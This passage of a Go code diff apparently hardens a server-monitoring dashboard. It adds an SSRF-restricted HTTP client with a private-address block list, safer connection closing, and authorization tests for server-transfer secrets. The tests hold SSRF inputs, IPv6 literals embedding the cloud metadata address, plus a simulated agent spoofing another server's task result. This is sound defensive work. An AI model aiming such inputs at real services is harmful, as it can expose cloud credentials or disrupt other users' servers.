+ id := seed*1000 + j + code, err := Encode(id) + if err != nil { + t.Errorf("Encode(%d): %v", id, err) + return + } + got, err := Decode(code) + if err != nil { + t.Errorf("Decode(%q): %v", code, err) + return + } + if got != id { + t.Errorf("round-trip: got %d, want %d", got, id) + return + } + } + }(uint64(i)) + } + wg.Wait() +} diff --git a/pkg/utils/http.go b/pkg/utils/http.go index 19227c47..aa33ca2b 100644 --- a/pkg/utils/http.go +++ b/pkg/utils/http.go @@ -1,16 +1,55 @@ package utils import ( + "context" "crypto/tls" + "errors" + "net" "net/http" + "net/netip" + "net/url" "time" ) +// HttpClient / HttpClientSkipTlsVerify must not be used to dispatch +// requests to user-controlled URLs (SSRF risk, GHSA-6x26-5727-rrm9). +// For any attacker-controlled URL use NewRestrictedHTTPClient instead. var ( HttpClientSkipTlsVerify *http.Client HttpClient *http.Client ) +var ErrHTTPURLTargetNotAllowed = errors.New("HTTP URL target is not allowed") + +var blockedHTTPClientCIDRs = mustParseHTTPClientCIDRs([]string{ + "0.0.0.0/8", + "10.0.0.0/8", + "100.64.0.0/10", + "127.0.0.0/8", + "169.254.0.0/16", + "172.16.0.0/12", + "192.0.0.0/24", + "192.0.2.0/24", + "192.168.0.0/16", + "198.18.0.0/15", + "198.51.100.0/24", + "203.0.113.0/24", + "224.0.0.0/4", + "240.0.0.0/4", + "::/128", + "::1/128", + "::ffff:0:0/96", + "64:ff9b::/96", + "64:ff9b:1::/48", + "100::/64", + "2001::/23", + "2001:db8::/32", + "2002::/16", + "fc00::/7", + "fe80::/10", + "ff00::/8", +}) + func init() { HttpClientSkipTlsVerify = httpClient(_httpClient{ Transport: httpTransport(_httpTransport{ @@ -47,3 +86,106 @@ func httpClient(conf _httpClient) *http.Client { Timeout: time.Minute * 10, } } + +func NewRestrictedHTTPClient(rawURL string, skipVerifyTLS bool) (*http.Client, error) { + parsedURL, ip, err := ResolveAllowedHTTPURL(rawURL) + if err != nil { + return nil, err + } + return buildRestrictedHTTPClient(parsedURL, ip, skipVerifyTLS), nil +} + +// buildRestrictedHTTPClient assembles a client whose DialContext is pinned to +// the already-vetted IP. Separated from NewRestrictedHTTPClient so tests can +// exercise the SNI / redirect behavior without relying on live DNS. +func buildRestrictedHTTPClient(parsedURL *url.URL, ip net.IP, skipVerifyTLS bool) *http.Client { + port := parsedURL.Port() + if port == "" { + if parsedURL.Scheme == "https" { + port = "443" + } else { + port = "80" + } + } + // Pin outbound webhooks to the vetted IP so DNS changes cannot retarget private hosts. + targetAddress := net.JoinHostPort(ip.String(), port) + dialer := &net.Dialer{} + + return &http.Client{ + Transport: &http.Transport{ + DialContext: func(ctx context.Context, network, address string) (net.Conn, error) { + return dialer.DialContext(ctx, network, targetAddress) + }, + TLSClientConfig: &tls.Config{InsecureSkipVerify: skipVerifyTLS, ServerName: parsedURL.Hostname()}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + Timeout: time.Minute * 10, + } +} + +func ResolveAllowedHTTPURL(rawURL string) (*url.URL, net.IP, error) { + parsedURL, err := url.Parse(rawURL) + if err != nil { + return nil, nil, err + } + if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" { + return nil, nil, ErrHTTPURLTargetNotAllowed + } + + host := parsedURL.Hostname() + if host == "" { + return nil, nil, ErrHTTPURLTargetNotAllowed + } + if ip := net.ParseIP(host); ip != nil { + if !HTTPURLTargetIPAllowed(ip) { + return nil, nil, ErrHTTPURLTargetNotAllowed + } + return parsedURL, ip, nil + } + + ips, err := net.LookupIP(host) + if err != nil { + return nil, nil, err + } + if len(ips) == 0 { + return nil, nil, ErrHTTPURLTargetNotAllowed + } + for _, ip := range ips { + if !HTTPURLTargetIPAllowed(ip) { + return nil, nil, ErrHTTPURLTargetNotAllowed + } + } + + return parsedURL, ips[0], nil +} + +func HTTPURLTargetIPAllowed(ip net.IP) bool { + parsedIP, ok := netipFromIP(ip) + if !ok { + return false + } + for _, cidr := range blockedHTTPClientCIDRs { + if cidr.Contains(parsedIP) { + return false + } + } + return parsedIP.IsGlobalUnicast() +} + +func netipFromIP(ip net.IP) (netip.Addr, bool) { + parsedIP, ok := netip.AddrFromSlice(ip) + if !ok { + return netip.Addr{}, false + } + return parsedIP.Unmap(), true +} + +func mustParseHTTPClientCIDRs(cidrs []string) []netip.Prefix { + prefixes := make([]netip.Prefix, 0, len(cidrs)) + for _, cidr := range cidrs { + prefixes = append(prefixes, netip.MustParsePrefix(cidr)) + } + return prefixes +} diff --git a/pkg/utils/http_test.go b/pkg/utils/http_test.go new file mode 100644 index 00000000..92ae6df4 --- /dev/null +++ b/pkg/utils/http_test.go @@ -0,0 +1,152 @@ +package utils + +import ( + "errors" + "net" + "net/http" + "net/url" + "testing" + "time" +) + +func TestHTTPURLTargetIPAllowed(t *testing.T) { + tests := []struct { + name string + address string + allowed bool + }{ + {name: "public IPv4", address: "1.1.1.1", allowed: true}, + {name: "public IPv6", address: "2606:4700:4700::1111", allowed: true}, + {name: "well-known NAT64", address: "64:ff9b::a9fe:a9fe", allowed: false}, + {name: "local-use NAT64", address: "64:ff9b:1::a9fe:a9fe", allowed: false}, + {name: "6to4 public IPv4 embedding", address: "2002:0101:0101::1", allowed: false}, + {name: "6to4 link-local IPv4 embedding", address: "2002:a9fe:a9fe::1", allowed: false}, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + ip := net.ParseIP(test.address) + if ip == nil { + t.Fatalf("ParseIP(%q) returned nil", test.address) + } + if got := HTTPURLTargetIPAllowed(ip); got != test.allowed { + t.Fatalf("HTTPURLTargetIPAllowed(%q) = %t, want %t", test.address, got, test.allowed) + } + }) + } +} + +func TestResolveAllowedHTTPURLRejectsSpecialIPv6Literals(t *testing.T) { + for _, rawURL := range []string{ + "http://[64:ff9b:1::a9fe:a9fe]/metadata", + "http://[2002:a9fe:a9fe::1]/metadata", + } { + t.Run(rawURL, func(t *testing.T) { + _, _, err := ResolveAllowedHTTPURL(rawURL) + if !errors.Is(err, ErrHTTPURLTargetNotAllowed) { + t.Fatalf("ResolveAllowedHTTPURL(%q) error = %v, want %v", rawURL, err, ErrHTTPURLTargetNotAllowed) + } + }) + } +} + +func TestBuildRestrictedHTTPClientPreservesHostnameAsTLSServerName(t *testing.T) { + // Construct a hostname URL paired with an arbitrary public IP so we exercise + // the SNI preservation path without depending on live DNS in unit tests. + parsed, err := url.Parse("https://example.com/webhook") + if err != nil { + t.Fatalf("parse url: %v", err) + } + pinnedIP := net.ParseIP("1.1.1.1") + if pinnedIP == nil { + t.Fatalf("expected valid pinned IP") + } + + client := buildRestrictedHTTPClient(parsed, pinnedIP, false) + transport, ok := client.Transport.(*http.Transport) + if !ok { + t.Fatalf("expected *http.Transport, got %T", client.Transport) + } + if transport.TLSClientConfig == nil { + t.Fatalf("expected TLSClientConfig to be set") + } + // SNI must come from the original URL hostname so the certificate validates + // the intended hostname, not the pinned dial IP. + if got := transport.TLSClientConfig.ServerName; got != "example.com" { + t.Fatalf("expected ServerName example.com, got %q", got) + } + if transport.TLSClientConfig.ServerName == pinnedIP.String() { + t.Fatalf("ServerName must not be the pinned IP, got %q", transport.TLSClientConfig.ServerName) + } + if transport.TLSClientConfig.InsecureSkipVerify { + t.Fatalf("expected verifyTLS path (InsecureSkipVerify=false)") + } +} + +func TestBuildRestrictedHTTPClientHonorsSkipVerifyTLS(t *testing.T) { + parsed, _ := url.Parse("https://example.com/webhook") + client := buildRestrictedHTTPClient(parsed, net.ParseIP("1.1.1.1"), true) + transport := client.Transport.(*http.Transport) + if !transport.TLSClientConfig.InsecureSkipVerify { + t.Fatalf("expected InsecureSkipVerify=true when skipVerifyTLS=true") + } +} + +func TestBuildRestrictedHTTPClientRejectsRedirects(t *testing.T) { + parsed, _ := url.Parse("https://example.com/start") + client := buildRestrictedHTTPClient(parsed, net.ParseIP("1.1.1.1"), false) + req, err := http.NewRequest(http.MethodGet, "https://example.com/start", nil) + if err != nil { + t.Fatalf("new request: %v", err) + } + if err := client.CheckRedirect(req, []*http.Request{req}); err != http.ErrUseLastResponse { + t.Fatalf("expected ErrUseLastResponse, got %v", err) + } +} + +// TestBuildRestrictedHTTPClientPinsDialToVettedIP confirms DialContext routes +// to the pinned IP even when the request URL uses a different hostname, +// preventing DNS rebinding from retargeting traffic. +func TestBuildRestrictedHTTPClientPinsDialToVettedIP(t *testing.T) { + listener, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatalf("listen: %v", err) + } + defer listener.Close() + _, port, err := net.SplitHostPort(listener.Addr().String()) + if err != nil { + t.Fatalf("split host port: %v", err) + } + + accepted := make(chan string, 1) + go func() { + conn, err := listener.Accept() + if err != nil { + accepted <- "" + return + } + accepted <- conn.LocalAddr().String() + conn.Close() + }() + + requestURL := "http://example.com:" + port + "/" + parsed, _ := url.Parse(requestURL) + pinned := net.ParseIP("127.0.0.1") + client := buildRestrictedHTTPClient(parsed, pinned, false) + client.Timeout = 2 * time.Second + + req, _ := http.NewRequest(http.MethodGet, requestURL, nil) + resp, _ := client.Do(req) + if resp != nil { + resp.Body.Close() + } + + select { + case addr := <-accepted: + if addr == "" { + t.Fatalf("listener accept failed") + } + case <-time.After(2 * time.Second): + t.Fatalf("expected dial to reach pinned IP 127.0.0.1:%s, listener did not accept", port) + } +} diff --git a/pkg/utils/request_wrapper.go b/pkg/utils/request_wrapper.go index e18e0761..00213639 100644 --- a/pkg/utils/request_wrapper.go +++ b/pkg/utils/request_wrapper.go @@ -6,6 +6,7 @@ import ( "io" "net" "net/http" + "sync" ) var _ io.ReadWriteCloser = (*RequestWrapper)(nil) @@ -14,6 +15,11 @@ type RequestWrapper struct { req *http.Request reader *bytes.Buffer writer net.Conn + + closeOnce sync.Once + closeInit sync.Once + closeDone chan struct{} + closeErr error } func NewRequestWrapper(req *http.Request, writer http.ResponseWriter) (*RequestWrapper, error) { @@ -27,12 +33,17 @@ func NewRequestWrapper(req *http.Request, writer http.ResponseWriter) (*RequestW } buf := bytes.NewBuffer(nil) if err = req.Write(buf); err != nil { - return nil, err + var bodyErr error + if req.Body != nil { + bodyErr = req.Body.Close() + } + return nil, errors.Join(err, bodyErr, conn.Close()) } return &RequestWrapper{ - req: req, - reader: buf, - writer: conn, + req: req, + reader: buf, + writer: conn, + closeDone: make(chan struct{}), }, nil } @@ -53,7 +64,17 @@ func (rw *RequestWrapper) Write(p []byte) (int, error) { } func (rw *RequestWrapper) Close() error { - rw.req.Body.Close() - rw.writer.Close() - return nil + rw.closeInit.Do(func() { + rw.closeDone = make(chan struct{}) + }) + rw.closeOnce.Do(func() { + var bodyErr error + if rw.req.Body != nil { + bodyErr = rw.req.Body.Close() + } + rw.closeErr = errors.Join(bodyErr, rw.writer.Close()) + close(rw.closeDone) + }) + <-rw.closeDone + return rw.closeErr } diff --git a/pkg/utils/request_wrapper_test.go b/pkg/utils/request_wrapper_test.go new file mode 100644 index 00000000..e51149de --- /dev/null +++ b/pkg/utils/request_wrapper_test.go @@ -0,0 +1,232 @@ +package utils + +import ( + "bufio" + "bytes" + "errors" + "io" + "net" + "net/http" + "net/url" + "strings" + "sync" + "sync/atomic" + "testing" +) + +var ( + errRequestWrite = errors.New("request write failed") + errBodyClose = errors.New("body close failed") + errConnClose = errors.New("connection close failed") +) + +func TestNewRequestWrapper_closesHijackedConnectionWhenRequestWriteFails(t *testing.T) { + // Given + conn := newRequestWrapperTestConn(errConnClose) + req := &http.Request{ + Method: "POST", + URL: &url.URL{Scheme: "http", Host: "example.test", Path: "/nat"}, + Body: &requestWrapperTestBody{readErr: errRequestWrite, closeErr: errBodyClose}, + ContentLength: 1, + } + writer := &requestWrapperTestResponseWriter{conn: conn} + + // When + _, err := NewRequestWrapper(req, writer) + + // Then + if err == nil || !strings.Contains(err.Error(), errRequestWrite.Error()) { + t.Fatalf("expected request write error, got %v", err) + } + if !errors.Is(err, errBodyClose) { + t.Fatalf("expected body close error, got %v", err) + } + if !errors.Is(err, errConnClose) { + t.Fatalf("expected connection close error, got %v", err) + } + if got := conn.closeCount.Load(); got != 1 { + t.Fatalf("expected one connection close, got %d", got) + } +} + +func TestRequestWrapper_Close_joinsBodyAndConnectionErrors(t *testing.T) { + // Given + body := &requestWrapperTestBody{closeErr: errBodyClose} + conn := newRequestWrapperTestConn(errConnClose) + rw := &RequestWrapper{ + req: &http.Request{Body: body}, + reader: bytes.NewBuffer(nil), + writer: conn, + closeDone: make(chan struct{}), + } + + // When + err := rw.Close() + + // Then + if !errors.Is(err, errBodyClose) { + t.Fatalf("expected body close error, got %v", err) + } + if !errors.Is(err, errConnClose) { + t.Fatalf("expected connection close error, got %v", err) + } +} + +func TestRequestWrapper_Close_repeatedCallersReceiveRetainedErrorAndCloseOnce(t *testing.T) { + // Given + body := &requestWrapperTestBody{closeErr: errBodyClose} + conn := newRequestWrapperTestConn(errConnClose) + rw := &RequestWrapper{ + req: &http.Request{Body: body}, + reader: bytes.NewBuffer(nil), + writer: conn, + closeDone: make(chan struct{}), + } + + // When + firstErr := rw.Close() + secondErr := rw.Close() + + // Then + if firstErr != secondErr { + t.Fatalf("expected identical retained error, got distinct values %p and %p", firstErr, secondErr) + } + if got := body.closeCount.Load(); got != 1 { + t.Fatalf("expected one body close, got %d", got) + } + if got := conn.closeCount.Load(); got != 1 { + t.Fatalf("expected one connection close, got %d", got) + } +} + +func TestRequestWrapper_Close_concurrentCallersWaitForCopyToUnblock(t *testing.T) { + // Given + body := &requestWrapperTestBody{closeErr: errBodyClose} + conn := newRequestWrapperTestConn(errConnClose) + rw := &RequestWrapper{ + req: &http.Request{Body: body}, + reader: bytes.NewBuffer(nil), + writer: conn, + closeDone: make(chan struct{}), + } + readDone := make(chan error, 1) + go func() { + _, err := rw.Read(make([]byte, 1)) + readDone <- err + }() + <-conn.readStarted + + // When + const callerCount = 8 + results := make(chan error, callerCount) + var callers sync.WaitGroup + callers.Add(callerCount) + for range callerCount { + go func() { + defer callers.Done() + results <- rw.Close() + }() + } + callers.Wait() + close(results) + + // Then + var retainedErr error + for err := range results { + if !errors.Is(err, errConnClose) { + t.Fatalf("expected retained connection close error, got %v", err) + } + if !errors.Is(err, errBodyClose) { + t.Fatalf("expected retained body close error, got %v", err) + } + if retainedErr == nil { + retainedErr = err + continue + } + if err != retainedErr { + t.Fatalf("expected identical retained error, got distinct values %p and %p", retainedErr, err) + } + } + <-readDone + if got := body.closeCount.Load(); got != 1 { + t.Fatalf("expected one body close, got %d", got) + } + if got := conn.closeCount.Load(); got != 1 { + t.Fatalf("expected one connection close, got %d", got) + } +} + +type requestWrapperTestBody struct { + readErr error + closeErr error + closeCount atomic.Int32 +} + +func (b *requestWrapperTestBody) Read([]byte) (int, error) { + if b.readErr != nil { + return 0, b.readErr + } + return 0, io.EOF +} + +func (b *requestWrapperTestBody) Close() error { + b.closeCount.Add(1) + return b.closeErr +} + +type requestWrapperTestConn struct { + net.Conn + closeErr error + closeCount atomic.Int32 + closeOnce sync.Once + readStarted chan struct{} + readDone chan struct{} +} + +func newRequestWrapperTestConn(closeErr error) *requestWrapperTestConn { + return &requestWrapperTestConn{ + closeErr: closeErr, + readStarted: make(chan struct{}), + readDone: make(chan struct{}), + } +} + +func (c *requestWrapperTestConn) Read([]byte) (int, error) { + select { + case <-c.readStarted: + default: + close(c.readStarted) + } + <-c.readDone + return 0, io.ErrClosedPipe +} + +func (c *requestWrapperTestConn) Write(p []byte) (int, error) { + return len(p), nil +} + +func (c *requestWrapperTestConn) Close() error { + c.closeOnce.Do(func() { + c.closeCount.Add(1) + close(c.readDone) + }) + return c.closeErr +} + +type requestWrapperTestResponseWriter struct { + conn net.Conn +} + +func (w *requestWrapperTestResponseWriter) Header() http.Header { + return make(http.Header) +} + +func (w *requestWrapperTestResponseWriter) Write([]byte) (int, error) { + return 0, nil +} + +func (w *requestWrapperTestResponseWriter) WriteHeader(int) {} + +func (w *requestWrapperTestResponseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) { + return w.conn, bufio.NewReadWriter(bufio.NewReader(bytes.NewReader(nil)), bufio.NewWriter(io.Discard)), nil +} diff --git a/service/rpc/apply_config_authz_test.go b/service/rpc/apply_config_authz_test.go new file mode 100644 index 00000000..5f290a54 --- /dev/null +++ b/service/rpc/apply_config_authz_test.go @@ -0,0 +1,565 @@ +package rpc + +import ( + "context" + "errors" + "strings" + "testing" + "time" + + "google.golang.org/grpc/metadata" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/singleton" +) + +// A malicious or buggy agent owning server A must NOT be able to fail a +// ServerTransfer row belonging to server B by reporting a TaskResult whose +// Id is set to B's transfer ID. The agent-task-result authorization +// invariant (commit 02129f1) requires the dashboard to verify the result's +// addressed object actually belongs to the reporting agent before acting +// on it. Without the cross-check, any compromised agent could cancel/fail +// every in-flight transfer in the system. +func TestRequestTaskApplyConfigIgnoresForeignTransferFailure(t *testing.T) { + // Two distinct servers with different owners. attackerSrv reports the + // failure; victimSrv is the one a pending transfer points at. + attackerSrv := &model.Server{ + Common: model.Common{ID: 7, UserID: 100}, + UUID: "cccccccc-cccc-cccc-cccc-cccccccccccc", + Name: "attacker", + } + victimSrv := &model.Server{ + Common: model.Common{ID: 8, UserID: 200}, + UUID: "dddddddd-dddd-dddd-dddd-dddddddddddd", + Name: "victim", + } + users := map[uint64]model.UserInfo{ + 100: {Role: model.RoleMember}, + 200: {Role: model.RoleMember}, + 300: {Role: model.RoleMember, AgentSecret: "to-user-secret"}, + } + secrets := map[string]uint64{ + "attacker-secret": 100, + "to-user-secret": 300, + } + setupApplyConfigAuthzFixture(t, []*model.Server{attackerSrv, victimSrv}, users, secrets) + + // Pending transfer for victimSrv (200 -> 300). attackerSrv is unrelated. + tr := initiateAndRegisterPendingTransfer(t, victimSrv.ID, 200, 300, 1) + + // Attacker reports a failed ApplyConfig carrying the victim's transfer ID. + runApplyConfigAuthzResult(t, "attacker-secret", attackerSrv.UUID, &pb.TaskResult{ + Id: tr.ID, + Type: model.TaskTypeServerTransferApply, + Successful: false, + Data: "spoofed failure", + }) + + var refreshed model.ServerTransfer + if err := singleton.DB.First(&refreshed, tr.ID).Error; err != nil { + t.Fatalf("re-read transfer: %v", err) + } + if refreshed.Status != model.ServerTransferStatusPending { + t.Fatalf("foreign-server ApplyConfig failure must leave transfer Pending, got status=%d last_error=%q", + refreshed.Status, refreshed.LastError) + } + + var vs model.Server + if err := singleton.DB.First(&vs, victimSrv.ID).Error; err != nil { + t.Fatalf("re-read victim server: %v", err) + } + if vs.UserID != 300 { + t.Fatalf("victim server ownership must remain at ToUserID, got %d", vs.UserID) + } +} + +// The legitimate path must still mark the transfer Failed: the reporter is +// the actual transfer subject. This guards against an over-tight ownership +// check that would also break the working flow. +func TestRequestTaskApplyConfigAcceptsOwnTransferFailure(t *testing.T) { + srv := &model.Server{ + Common: model.Common{ID: 9, UserID: 200}, + UUID: "eeeeeeee-eeee-eeee-eeee-eeeeeeeeeeee", + Name: "subject", + } + users := map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember, AgentSecret: "from-user-secret"}, + 300: {Role: model.RoleMember, AgentSecret: "to-user-secret"}, + } + secrets := map[string]uint64{ + // During Pending the agent still authenticates with the previous + // owner's secret — that's exactly the auth-tolerance window the + // transfer feature exists for. + "from-user-secret": 200, + "to-user-secret": 300, + } + setupApplyConfigAuthzFixture(t, []*model.Server{srv}, users, secrets) + + tr := initiateAndRegisterPendingTransfer(t, srv.ID, 200, 300, 1) + + runApplyConfigAuthzResult(t, "from-user-secret", srv.UUID, &pb.TaskResult{ + Id: tr.ID, + Type: model.TaskTypeServerTransferApply, + Successful: false, + Data: "DisableCommandExecute=true", + }) + + var refreshed model.ServerTransfer + if err := singleton.DB.First(&refreshed, tr.ID).Error; err != nil { + t.Fatalf("re-read transfer: %v", err) + } + if refreshed.Status != model.ServerTransferStatusFailed { + t.Fatalf("own-server ApplyConfig failure must mark transfer Failed, got status=%d", refreshed.Status) + } +} + +func TestRequestTaskCancelledTransferAllowsForwardHandshakeReconnectForRevert(t *testing.T) { + srv := &model.Server{ + Common: model.Common{ID: 12, UserID: 200}, + UUID: "12121212-1212-1212-1212-121212121212", + Name: "cancelled-revert", + } + users := map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember, AgentSecret: "cancel-from-secret"}, + 300: {Role: model.RoleMember, AgentSecret: "cancel-to-secret"}, + } + secrets := map[string]uint64{ + "cancel-from-secret": 200, + "cancel-to-secret": 300, + } + setupApplyConfigAuthzFixture(t, []*model.Server{srv}, users, secrets) + + tr := initiateAndRegisterPendingTransfer(t, srv.ID, 200, 300, 1) + forward := tr.HandshakeSecret + if forward == "" { + t.Fatal("precondition: pending transfer must carry a forward HandshakeSecret") + } + if _, err := singleton.ServerTransferShared.Cancel(tr.ID); err != nil { + t.Fatalf("cancel transfer: %v", err) + } + + sent := runApplyConfigAuthzReconnect(t, forward, srv.UUID) + if len(sent) != 1 { + t.Fatalf("expected one revert ApplyConfig task, got %d", len(sent)) + } + if sent[0].Type != model.TaskTypeServerTransferApply { + t.Fatalf("expected ApplyConfig task, got type=%d", sent[0].Type) + } + var settled model.ServerTransfer + if err := singleton.DB.First(&settled, tr.ID).Error; err != nil { + t.Fatalf("reload transfer: %v", err) + } + if !strings.Contains(sent[0].Data, settled.RevertHandshakeSecret) { + t.Fatalf("cancelled transfer rollback must push the per-transfer RevertHandshakeSecret, got payload %q", sent[0].Data) + } + if strings.Contains(sent[0].Data, "cancel-from-secret") || strings.Contains(sent[0].Data, "cancel-to-secret") { + t.Fatalf("user-global AgentSecrets must never appear in transfer payloads, got %q", sent[0].Data) + } +} + +func TestRequestTaskTimedOutTransferAllowsForwardHandshakeReconnectForRevert(t *testing.T) { + srv := &model.Server{ + Common: model.Common{ID: 17, UserID: 200}, + UUID: "17171717-1717-1717-1717-171717171717", + Name: "timeout-revert", + } + users := map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember, AgentSecret: "timeout-from-secret"}, + 300: {Role: model.RoleMember, AgentSecret: "timeout-to-secret"}, + } + secrets := map[string]uint64{ + "timeout-from-secret": 200, + "timeout-to-secret": 300, + } + setupApplyConfigAuthzFixture(t, []*model.Server{srv}, users, secrets) + + tr := initiateAndRegisterPendingTransfer(t, srv.ID, 200, 300, 1) + forward := tr.HandshakeSecret + if forward == "" { + t.Fatal("precondition: pending transfer must carry a forward HandshakeSecret") + } + staleUpdatedAt := time.Now().Add(-25 * time.Hour) + if err := singleton.DB.Model(&model.ServerTransfer{}). + Where("id = ?", tr.ID). + UpdateColumn("updated_at", staleUpdatedAt).Error; err != nil { + t.Fatalf("stale transfer update: %v", err) + } + if _, err := singleton.ServerTransferShared.MarkTimeout(tr.ID); err != nil { + t.Fatalf("timeout transfer: %v", err) + } + + sent := runApplyConfigAuthzReconnect(t, forward, srv.UUID) + if len(sent) != 1 { + t.Fatalf("expected one timeout revert ApplyConfig task, got %d", len(sent)) + } + var settled model.ServerTransfer + if err := singleton.DB.First(&settled, tr.ID).Error; err != nil { + t.Fatalf("reload transfer: %v", err) + } + if !strings.Contains(sent[0].Data, settled.RevertHandshakeSecret) { + t.Fatalf("timeout rollback must push the per-transfer RevertHandshakeSecret, got payload %q", sent[0].Data) + } + if strings.Contains(sent[0].Data, "timeout-from-secret") || strings.Contains(sent[0].Data, "timeout-to-secret") { + t.Fatalf("user-global AgentSecrets must never appear in transfer payloads, got %q", sent[0].Data) + } +} + +func TestRequestTaskRejectsToUserGlobalSecretEvenWithLiveRevertDelivery(t *testing.T) { + srv := &model.Server{ + Common: model.Common{ID: 16, UserID: 200}, + UUID: "16161616-1616-1616-1616-161616161616", + Name: "to-user-global-rejected", + } + users := map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember, AgentSecret: "rejected-from-secret"}, + 300: {Role: model.RoleMember, AgentSecret: "rejected-to-secret"}, + } + secrets := map[string]uint64{ + "rejected-from-secret": 200, + "rejected-to-secret": 300, + } + setupApplyConfigAuthzFixture(t, []*model.Server{srv}, users, secrets) + + tr := initiateAndRegisterPendingTransfer(t, srv.ID, 200, 300, 1) + if _, err := singleton.ServerTransferShared.Cancel(tr.ID); err != nil { + t.Fatalf("cancel transfer: %v", err) + } + if _, ok := singleton.ServerTransferShared.LookupRevertDelivery(srv.ID); !ok { + t.Fatal("precondition: cancel must register a revert delivery") + } + + sent := 0 + stream := &requestTaskSecurityStream{ + ctx: metadata.NewIncomingContext(context.Background(), metadata.Pairs( + "client_secret", "rejected-to-secret", + "client_uuid", srv.UUID, + )), + onSend: func(*pb.Task) { + sent++ + }, + } + if err := NewNezhaHandler().RequestTask(stream); err == nil || errors.Is(err, context.Canceled) { + t.Fatal("ToUserID global AgentSecret must never authenticate via revert recovery; PushIfOnline only delivers per-transfer secrets to the real agent") + } + if sent != 0 { + t.Fatalf("rejected ToUserID auth must not trigger any ApplyConfig push, got %d sends", sent) + } + if _, ok := singleton.ServerTransferShared.LookupRevertDelivery(srv.ID); !ok { + t.Fatal("rejected ToUserID auth must not consume the revert delivery — the real agent still needs it for the eventual per-transfer recovery") + } +} + +// Whether or not a revert delivery is still in flight, the destination +// user's global AgentSecret must be rejected on every auth path — +// PushIfOnline never sends that secret to the agent so a reconnect under +// it cannot come from the real agent. This pins the post-fix invariant. +func TestReportSystemInfoRejectsCancelledTransferToUserSecret(t *testing.T) { + srv := &model.Server{ + Common: model.Common{ID: 15, UserID: 200}, + UUID: "15151515-1515-1515-1515-151515151515", + Name: "cancelled-report", + } + users := map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember, AgentSecret: "report-from-secret"}, + 300: {Role: model.RoleMember, AgentSecret: "report-to-secret"}, + } + secrets := map[string]uint64{ + "report-from-secret": 200, + "report-to-secret": 300, + } + setupApplyConfigAuthzFixture(t, []*model.Server{srv}, users, secrets) + + tr := initiateAndRegisterPendingTransfer(t, srv.ID, 200, 300, 1) + if _, err := singleton.ServerTransferShared.Cancel(tr.ID); err != nil { + t.Fatalf("cancel transfer: %v", err) + } + + ctx := metadata.NewIncomingContext(context.Background(), metadata.Pairs( + "client_secret", "report-to-secret", + "client_uuid", srv.UUID, + )) + if _, err := NewNezhaHandler().ReportSystemInfo(ctx, &pb.Host{}); err == nil { + t.Fatal("ReportSystemInfo must reject the destination user's global AgentSecret during revert recovery; PushIfOnline never delivers that credential to the real agent") + } + if _, ok := singleton.ServerTransferShared.LookupRevertDelivery(srv.ID); !ok { + t.Fatal("rejected non-RequestTask auth must not consume the revert delivery") + } +} + +func setupApplyConfigAuthzFixture(t *testing.T, servers []*model.Server, users map[uint64]model.UserInfo, agentSecrets map[string]uint64) { + t.Helper() + + originalDB := singleton.DB + originalConf := singleton.Conf + originalLoc := singleton.Loc + originalServerShared := singleton.ServerShared + originalUserInfoMap := singleton.UserInfoMap + originalAgentSecretToUserID := singleton.AgentSecretToUserId + originalServerTransferShared := singleton.ServerTransferShared + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + if err != nil { + t.Fatal(err) + } + sqlDB, err := db.DB() + if err != nil { + t.Fatal(err) + } + sqlDB.SetMaxOpenConns(1) + + singleton.DB = db + singleton.Conf = &singleton.ConfigClass{Config: &model.Config{}} + singleton.Loc = time.UTC + if err := singleton.DB.AutoMigrate(model.Server{}, model.ServerTransfer{}); err != nil { + t.Fatal(err) + } + for _, server := range servers { + if err := singleton.DB.Create(server).Error; err != nil { + t.Fatal(err) + } + } + + singleton.UserLock.Lock() + singleton.UserInfoMap = users + singleton.AgentSecretToUserId = agentSecrets + singleton.UserLock.Unlock() + singleton.ServerShared = singleton.NewServerClass() + for _, server := range servers { + model.InitServer(server) + singleton.ServerShared.Update(server, server.UUID) + } + singleton.ServerTransferShared = singleton.NewServerTransferClass() + + t.Cleanup(func() { + if singleton.ServerTransferShared != nil { + singleton.ServerTransferShared.Stop() + } + sqlDB.Close() + singleton.DB = originalDB + singleton.Conf = originalConf + singleton.Loc = originalLoc + singleton.ServerShared = originalServerShared + singleton.ServerTransferShared = originalServerTransferShared + singleton.UserLock.Lock() + singleton.UserInfoMap = originalUserInfoMap + singleton.AgentSecretToUserId = originalAgentSecretToUserID + singleton.UserLock.Unlock() + }) +} + +func initiateAndRegisterPendingTransfer(t *testing.T, serverID, fromUserID, toUserID, initiatorID uint64) *model.ServerTransfer { + t.Helper() + var created *model.ServerTransfer + err := singleton.DB.Transaction(func(tx *gorm.DB) error { + var err error + created, err = singleton.ServerTransferShared.Initiate(tx, serverID, fromUserID, toUserID, initiatorID) + return err + }) + if err != nil { + t.Fatalf("initiate transfer: %v", err) + } + singleton.ServerTransferShared.Register(created) + return created +} + +func runApplyConfigAuthzResult(t *testing.T, secret, uuid string, result *pb.TaskResult) { + t.Helper() + stream := &requestTaskSecurityStream{ + ctx: metadata.NewIncomingContext(context.Background(), metadata.Pairs( + "client_secret", secret, + "client_uuid", uuid, + )), + results: []*pb.TaskResult{result}, + } + err := NewNezhaHandler().RequestTask(stream) + if !errors.Is(err, context.Canceled) { + t.Fatalf("expected RequestTask to finish after test result, got %v", err) + } +} + +func runApplyConfigAuthzReconnect(t *testing.T, secret, uuid string) []*pb.Task { + t.Helper() + var sent []*pb.Task + stream := &requestTaskSecurityStream{ + ctx: metadata.NewIncomingContext(context.Background(), metadata.Pairs( + "client_secret", secret, + "client_uuid", uuid, + )), + onSend: func(task *pb.Task) { + sent = append(sent, task) + }, + } + err := NewNezhaHandler().RequestTask(stream) + if !errors.Is(err, context.Canceled) { + t.Fatalf("expected RequestTask to finish after reconnect probe, got %v", err) + } + return sent +} + +// Finding B regression: during the agent's 10s delayed 